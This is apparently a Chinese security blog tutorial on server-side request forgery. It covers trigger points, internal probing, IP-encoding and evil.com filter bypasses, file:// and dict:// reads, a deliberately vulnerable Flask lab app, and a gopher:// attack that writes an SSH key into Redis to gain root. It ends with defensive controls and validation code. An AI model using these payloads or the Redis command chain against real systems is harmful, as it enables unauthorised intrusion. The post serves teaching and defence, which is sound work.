news 2026/8/24 4:05:59

SSRF漏洞原理与实战:从内网探测到Gopher协议攻击Redis

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
SSRF漏洞原理与实战:从内网探测到Gopher协议攻击Redis

1. 先搞清楚SSRF到底是什么,以及它为什么能“刺穿内网”

SSRF,全称Server-Side Request Forgery,翻译过来是“服务器端请求伪造”。这个名字听起来有点绕,但它的核心逻辑其实很直接:攻击者能够欺骗服务器,让它代替攻击者去发起一个网络请求

这就像是你让一个信使(服务器)去送信,但信使只听你的指令,不看信的内容。攻击者通过构造一个特殊的“指令”(比如一个URL),让信使把信送到了他本不该去的地方,比如公司的内部档案室(内网)。

所以,SSRF攻击的关键在于“服务器能发起请求”这个特性被滥用了。它最危险的地方,也是标题里提到的“刺穿内网”,正是因为很多服务器本身部署在内网,或者至少能访问到内网的一些资源(比如数据库、管理后台、文件服务器)。从外网直接访问这些内网地址是不可能的,但通过欺骗一个能“里应外合”的服务器,攻击者就能实现间接访问。

对于刚入门安全的朋友来说,理解SSRF的价值在于:

  1. 它是信息收集和扩大攻击面的利器:可以用来探测内网有哪些主机、哪些端口开放、运行了什么服务。
  2. 它是权限提升和横向移动的跳板:如果内网服务存在漏洞(比如Redis未授权访问、Jenkins弱口令),SSRF就能成为攻击者打入内网的第一个入口。
  3. 理解它有助于防御:很多开发者在写代码调用外部URL时,根本没想到这会成为一个漏洞点。学习攻击原理,才能更好地在开发中规避。

2. 从零开始:理解SSRF的攻击场景与利用方式

SSRF不会凭空发生,它通常出现在那些需要服务器去获取外部资源的Web功能里。下面这些是最高发的场景,也是你测试时首先要检查的地方:

2.1 最常见的触发点

  • 在线翻译/网页抓取/预览功能:用户提交一个URL,服务器去抓取这个URL的内容并返回。如果不对URL做严格限制,攻击者就可以让它去访问http://127.0.0.1:8080/admin(本地管理后台)或http://192.168.1.1:3306(内网数据库)。
  • 图片/文件上传的远程下载:有些应用允许通过URL上传图片,服务器会从该URL下载文件。攻击者可以构造URL指向内网服务,服务器可能会把内网服务的响应(甚至可能是错误信息)下载下来,从而泄露信息。
  • 社交媒体/文章的内容抓取:分享一个链接时,网站会自动抓取标题和缩略图。这个抓取过程就可能被利用。
  • Webhook或回调地址测试:一些系统允许设置回调URL,并提供“测试”功能。这个测试请求就可能被利用来发起SSRF。

2.2 攻击者常用的“目标地址”

服务器被欺骗后,会向哪里发请求?攻击者会尝试各种地址来探测和利用:

  1. 探测内网存活主机和端口
    • 目标:http://192.168.1.1:80,http://192.168.1.2:8080,http://10.0.0.1:6379(Redis)等。
    • 方法:通过返回的响应时间、状态码、错误信息来判断目标是否存在。例如,请求一个不存在的IP,连接会很快超时或拒绝;请求一个存在的IP但端口关闭,可能会收到Connection refused;端口开放但服务不响应,可能会超时。
  2. 访问本地/回环地址
    • 目标:http://127.0.0.1,http://localhost,http://0.0.0.0,以及它们的各种变体(如127.0.0.1.nip.io解析到127.0.0.1)。
    • 目的:攻击服务器自身,可能访问到其上的管理界面(如127.0.0.1:8080/manage)、API接口或敏感文件。
  3. 利用协议封装
    • 这是SSRF的高级技巧。除了常见的http://https://,服务器支持的库可能允许其他协议,如:
      • file://:读取服务器本地文件,如file:///etc/passwd
      • dict://:探测端口,如dict://127.0.0.1:6379/info可能泄露Redis信息。
      • gopher://:一个非常强大的协议,可以构造任意格式的TCP数据包,常用于攻击内网的Redis、MySQL等服务。
      • ftp://:可能用于与FTP服务器交互。
  4. 绕过过滤
    • 如果应用对127.0.0.1localhost做了黑名单过滤,攻击者会尝试:
      • 十进制IP:http://2130706433(127.0.0.1的十进制表示)
      • 八进制IP:http://0177.0.0.1
      • 十六进制IP:http://0x7f.0.0.1
      • 域名重定向:使用一个自己控制的域名,将其A记录指向127.0.0.1
      • 利用URL解析差异:http://127.0.0.1@evil.com,某些解析库可能会将@前的内容视为认证信息,实际请求evil.com,但有些老旧库可能会错误处理。

2.3 如何判断一个功能点是否存在SSRF?

在你进行安全测试或代码审计时,可以遵循这个流程:

  1. 寻找输入点:找所有用户可控的、最终会被服务器用于发起网络请求的参数。常见参数名:url,link,path,src,api,callback等。
  2. 尝试基础探测:输入一个你可以控制的公网服务器地址(例如用ngrokcpolar等工具临时搭建一个接收请求的服务),观察你的服务器是否能收到来自目标应用的请求。如果能,说明存在服务器端出网请求。
  3. 尝试访问内部地址:将URL改为http://127.0.0.1:80,观察响应。如果响应时间明显变长、返回错误信息(如Connection refused)、或者直接返回了本地服务的页面内容,则存在SSRF漏洞。
  4. 尝试协议利用:如果应用功能涉及文件处理,尝试file:///etc/passwd。如果涉及更多网络库,尝试dict://gopher://(需环境支持)。

3. 实战演练:搭建环境与基础漏洞利用

光说不练假把式。要真正理解SSRF,最好的方法是在一个受控的环境里动手。我强烈建议你在本地虚拟机或隔离的网络环境中搭建靶场进行练习。

3.1 环境准备与靶场搭建

目标:创建一个存在SSRF漏洞的简单Web应用,并模拟一个内网服务。所需环境

  • 一台Linux虚拟机(如Ubuntu)作为攻击机和靶机环境。
  • 安装Python3和pip
  • 安装Docker(可选,用于快速搭建内网服务)。

步骤

  1. 创建漏洞应用:编写一个简单的Python Flask应用。

    # ssrf_vuln_app.py from flask import Flask, request import requests app = Flask(__name__) @app.route('/fetch') def fetch_url(): url = request.args.get('url') # 用户可控的URL参数 if not url: return 'Please provide a URL parameter.' try: # 漏洞点:没有对url进行任何过滤和限制,直接请求 resp = requests.get(url, timeout=5) return resp.text except Exception as e: return f'Error: {str(e)}' if __name__ == '__main__': app.run(host='0.0.0.0', port=5000)

    运行它:python3 ssrf_vuln_app.py。这个应用运行在http://你的IP:5000,提供了一个/fetch?url=接口,存在典型的SSRF漏洞。

  2. 模拟内网服务:在同一个虚拟机(模拟内网环境)上启动几个简单的服务。

    • 一个Redis服务(端口6379)docker run -d -p 6379:6379 --name test-redis redis。Redis默认无密码,是内网攻击的经典目标。
    • 一个简单的HTTP服务(端口8080)python3 -m http.server 8080。在某个目录下运行,这个目录里的文件就能通过内网访问。
    • 本地Web应用(端口3000):可以再跑一个简单的Node.js或Flask应用,模拟管理后台。

3.2 基础利用:信息收集

现在,你的漏洞应用(端口5000)和内网服务(端口6379, 8080)都在同一台机器上(即127.0.0.1)。

  1. 探测本地端口

    • 访问:http://你的IP:5000/fetch?url=http://127.0.0.1:6379
    • 可能结果:返回一个Redis错误信息,如-ERR wrong number of arguments for 'get' command。这明确告诉你6379端口开放,且运行着Redis服务。如果端口关闭,通常会返回Connection refused相关的错误。
    • 访问:http://你的IP:5000/fetch?url=http://127.0.0.1:8080/
    • 可能结果:返回你http.server目录的列表页。这证明了可以通过SSRF访问内网的Web服务。
  2. 读取本地文件

    • 尝试:http://你的IP:5000/fetch?url=file:///etc/passwd
    • 注意:这取决于requests库和系统配置。现代requests库默认不支持file://协议,可能会报Invalid URL。但如果后端使用了其他网络库(如urllib2),就可能成功。这是你需要测试的点。
  3. 使用dict协议探测

    • 尝试:http://你的IP:5000/fetch?url=dict://127.0.0.1:6379/info
    • 说明dict协议会向指定端口发送一个命令。如果Redis可用且dict协议被支持,可能会返回Redis的服务器信息。这比HTTP探测更精准。

3.3 关键点:理解响应差异与盲SSRF

在上面的例子中,漏洞应用将请求的结果回显给了我们。这称为有回显的SSRF,是最理想的情况。

但现实中,更多的情况是盲SSRF:应用发起了请求,但不会将响应内容返回给用户。你只能通过“副作用”来判断请求是否成功。

  • 基于时间的盲注:请求一个内网不存在的IP,服务器会快速返回连接失败;请求一个开放端口但服务无响应,可能会等待直到超时。通过响应时间的显著差异,可以判断端口状态。
  • 基于错误的盲注:请求一个非法URL导致服务器抛出异常,可能会在页面的错误信息中透露出一些线索(如“连接到192.168.1.1:3306失败”)。
  • DNS外带:这是探测盲SSRF最有效的方法。让服务器去请求一个类似http://your-unique-subdomain.ceye.io的地址。如果漏洞存在,你的DNS解析平台(如ceye.io)就会收到一条DNS查询记录,从而证实SSRF漏洞存在,尽管你看不到响应内容。

4. 进阶利用:从信息探测到内网攻击

当确认存在SSRF且能访问内网特定服务后,攻击就进入了实质阶段。这里以攻击内网Redis为例,演示如何通过SSRF实现更深入的利用。

前提:我们已经通过SSRF确认内网192.168.1.10:6379运行着无认证的Redis。

4.1 利用Gopher协议攻击Redis

HTTP协议无法直接向Redis发送原生命令,但gopher协议可以构造任意的TCP数据流。这是SSRF攻击Redis的经典方法。

  1. 构造攻击Payload:目标是让Redis写入一个计划任务(crontab)或SSH公钥,从而获取服务器权限。这里以写入SSH公钥为例。

    • 首先,在攻击机上生成一对SSH密钥:ssh-keygen -t rsa,将公钥(id_rsa.pub)内容保存,并格式化。需要在内容前后添加换行符。
    • 构造Redis命令序列:
      flushall set crackit "\\n\\n你的公钥内容\\n\\n" config set dir /root/.ssh/ config set dbfilename authorized_keys save
    • 将这些命令转换成符合Redis协议格式的字符串,然后URL编码,最后拼接到gopher://URL中。这个过程有现成工具可以完成(如Gopherus)。
  2. 发起SSRF攻击

    • 假设漏洞点在/fetch?url=,且服务器支持gopher协议。
    • 最终请求的URL会非常长,形如:http://vuln-app.com/fetch?url=gopher://192.168.1.10:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A...(很长的一段编码)
    • 当漏洞服务器解析这个URL并向Redis发起gopher请求时,Redis就会执行这些命令,将公钥写入/root/.ssh/authorized_keys
  3. 获取Shell:攻击者随后使用对应的私钥,即可直接SSH登录到内网的Redis服务器:ssh -i id_rsa root@192.168.1.10

重要提醒:此示例仅用于教学理解攻击链的完整性。在实际授权测试中,写入/root/.ssh/通常需要Redis以root权限运行,且目录可写。实战中可能会选择写入Web目录、写入计划任务等更多变的方式。

4.2 攻击其他内网服务

思路是相通的:

  • 攻击MySQL:利用gopher协议发送MySQL登录报文和SQL语句,可能执行SELECT ... INTO OUTFILE写入Webshell。
  • 攻击Memcached:通过gopher发送命令,可能用于UDP反射放大攻击或数据篡改。
  • 访问内部管理界面:如果探测到192.168.1.1:8080是Jenkins,且未设置认证,直接通过SSRF访问http://192.168.1.1:8080/manage可能就能进入管理后台。
  • 与内网Web应用交互:如果内网Web应用存在CSRF漏洞,SSRF可以充当一个“盲打”CSRF的代理,因为请求是从内网服务器发起的,可能绕过一些基于IP的CSRF防护。

5. 防御之道:开发与运维中的SSRF防护清单

理解了攻击,防御就有了方向。防御SSRF的核心原则是:对服务器所有出站请求的目标进行严格的白名单控制

5.1 网络层防御

  • 隔离网络:将可以发起外部请求的应用服务器部署在独立的DMZ区域,严格限制其访问内网的权限。使用防火墙策略,只允许应用服务器访问必要的、已知的外部服务(如第三方API),禁止访问整个内网段(如10.0.0.0/8,172.16.0.0/12,192.168.0.0/16)和回环地址。
  • 使用出口防火墙:在服务器上配置iptables或类似工具,限制本机进程只能向特定的外部IP和端口发起连接。

5.2 应用层防御(代码层面)

这是最根本的防御。

  1. 统一出口与白名单

    • 不要在每个业务函数里直接使用requests.get(url)。建立一个统一的网络请求服务。
    • 在该服务中,维护一个允许访问的域名或IP白名单。所有请求必须先检查目标主机是否在白名单内。
    • 白名单应尽可能具体,例如只允许api.weixin.qq.com,而不是*.qq.com
  2. 解析与校验URL

    • 使用权威的URL解析库(如Python的urllib.parse),获取hostname
    • hostname进行解析,获取其真实的IP地址列表(注意DNS重绑定攻击)。
    • 校验解析出的IP地址:
      • 禁止访问回环地址(127.0.0.0/8,::1等)。
      • 禁止访问内网私有IP段(10.0.0.0/8,172.16.0.0/12,192.168.0.0/16,169.254.0.0/16等)。
      • 禁止访问链路本地地址(169.254.0.0/16)。
      • 禁止访问0.0.0.0和本机其他IP。
    • 示例代码片段(Python)
      from urllib.parse import urlparse import socket import ipaddress def is_internal_ip(ip_str): try: ip = ipaddress.ip_address(ip_str) return ip.is_loopback or ip.is_private or ip.is_link_local except ValueError: # 如果不是合法IP,可能是域名,交给后续DNS解析判断 return False def safe_fetch_url(user_input_url, allowed_domains): parsed = urlparse(user_input_url) hostname = parsed.hostname # 1. 检查域名是否在白名单 if allowed_domains and hostname not in allowed_domains: raise ValueError(f"Domain {hostname} not in allowed list.") # 2. 解析域名获取IP try: ips = socket.gethostbyname_ex(hostname)[2] except socket.gaierror: raise ValueError(f"Cannot resolve hostname: {hostname}") # 3. 检查所有解析出的IP for ip in ips: if is_internal_ip(ip): raise ValueError(f"Resolved IP {ip} is internal. Rejected.") # 4. 发起请求(这里可以继续限制协议,只允许HTTP/HTTPS) if parsed.scheme not in ('http', 'https'): raise ValueError(f"Scheme {parsed.scheme} not allowed.") # ... 使用requests发起请求
  3. 禁用危险协议:在发起请求的客户端库配置中,显式禁用file://gopher://dict://ftp://等非HTTP/HTTPS协议。例如,在Python的requests库中,它本身不支持这些协议,但如果你使用更底层的库(如urllib),就需要小心。

  4. 认证与权限:确保内网服务本身需要强认证,即使被SSRF请求到,也无法直接未授权访问。不要依赖“内网就是安全的”这种假设。

5.3 针对“内网穿透”与“回调地址”场景的特别提醒

从搜索热词可以看到,ngrokcpolarfrp等内网穿透工具非常流行。这在开发测试中很方便,但也带来了额外的SSRF风险:

  • 风险:攻击者可能利用SSRF,让服务器去访问一个由内网穿透工具暴露出来的、攻击者控制的临时公网地址。这个地址可能指向攻击者内网的恶意服务,从而将攻击链延伸。
  • 防护:除了上述IP黑名单,更要强化白名单机制。对于Webhook、回调等场景,如果URL是用户提供的,应尽可能在业务逻辑上避免使用;如果必须使用,应在用户提供时进行强验证(如要求域名备案、HTTPS等),并在服务器端做严格的接收端验证(如签名、Token),确保回调来自可信源。

5.4 漏洞扫描与监控

  • SAST/DAST工具:在代码开发和测试阶段,使用静态和动态应用安全测试工具来发现潜在的SSRF漏洞点。
  • 日志监控:在服务器和网络设备上监控异常的出站连接请求,特别是向内部IP地址或陌生域名的请求。
  • 定期渗透测试:授权安全人员对系统进行测试,尝试利用SSRF等漏洞。

SSRF是一个需要开发、运维、安全共同关注的漏洞。对于开发者,要在代码层面养成校验外部输入的习惯;对于运维,要做好网络隔离和出口管控;对于安全人员,则要将SSRF作为常规测试项。理解它的原理和利用方式,是构建有效防御的第一步。在实战中,遇到SSRF漏洞点,不要只满足于读取一个/etc/passwd,要思考整个内网攻击链可能如何展开,这样才能真正提升安全水位。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/8/24 4:05:22

DeepSeek Harness 插件开发简易指南

DeepSeek Harness 插件开发简易指南 一、先理解架构:DSH Cordis 插件系统 补丁式组合 DSH 不是单体应用,而是构建在 Cordis 插件框架(deepseek-ai/cordis,Koishi 系)之上的分层插件树。概念说明Profile$DSH_HOME/pro…

作者头像 李华
网站建设 2026/8/24 4:05:08

PT助手Plus上手指南:把PT站点的种子下载变成一次点击

PT助手Plus上手指南:把PT站点的种子下载变成一次点击 【免费下载链接】PT-Plugin-Plus PT 助手 Plus,为 Microsoft Edge、Google Chrome、Firefox 浏览器插件(Web Extensions),主要用于辅助下载 PT 站的种子。 项目地…

作者头像 李华
网站建设 2026/8/24 4:03:31

一条命令装好第一个 Codex 技能:Agent Skills 实战入门

一条命令装好第一个 Codex 技能:Agent Skills 实战入门 【免费下载链接】skills Skills Catalog for Codex 项目地址: https://gitcode.com/GitHub_Trending/skills4/skills 上周一个 PR 里堆了 20 条 review 评论,逐条翻找处理很耗时间&#xff…

作者头像 李华
网站建设 2026/8/24 3:58:03

从一道CSP-J真题出发:聊聊贪心排序与计数排序

题源:洛谷 P14357 [CSP-J 2025] 拼数 / number(民间数据) 背景 在算法竞赛和日常刷题中,有一类问题看似是"字符串处理",本质上却是排序思想的灵活运用。这类问题里,最常被低估、也最容易让人&qu…

作者头像 李华
网站建设 2026/8/24 3:57:01

小户型可折叠跑步机怎么选?十款机型收纳与实用性盘点

开篇引言小户型买跑步机,最纠结的两件事是:放不放得下,以及搬不搬得动。很多人在"占地小"和"跑得稳"之间摇摆——机器太轻巧,跑起来可能晃动;机器太重,收纳挪位又费劲。其实这两件事并…

作者头像 李华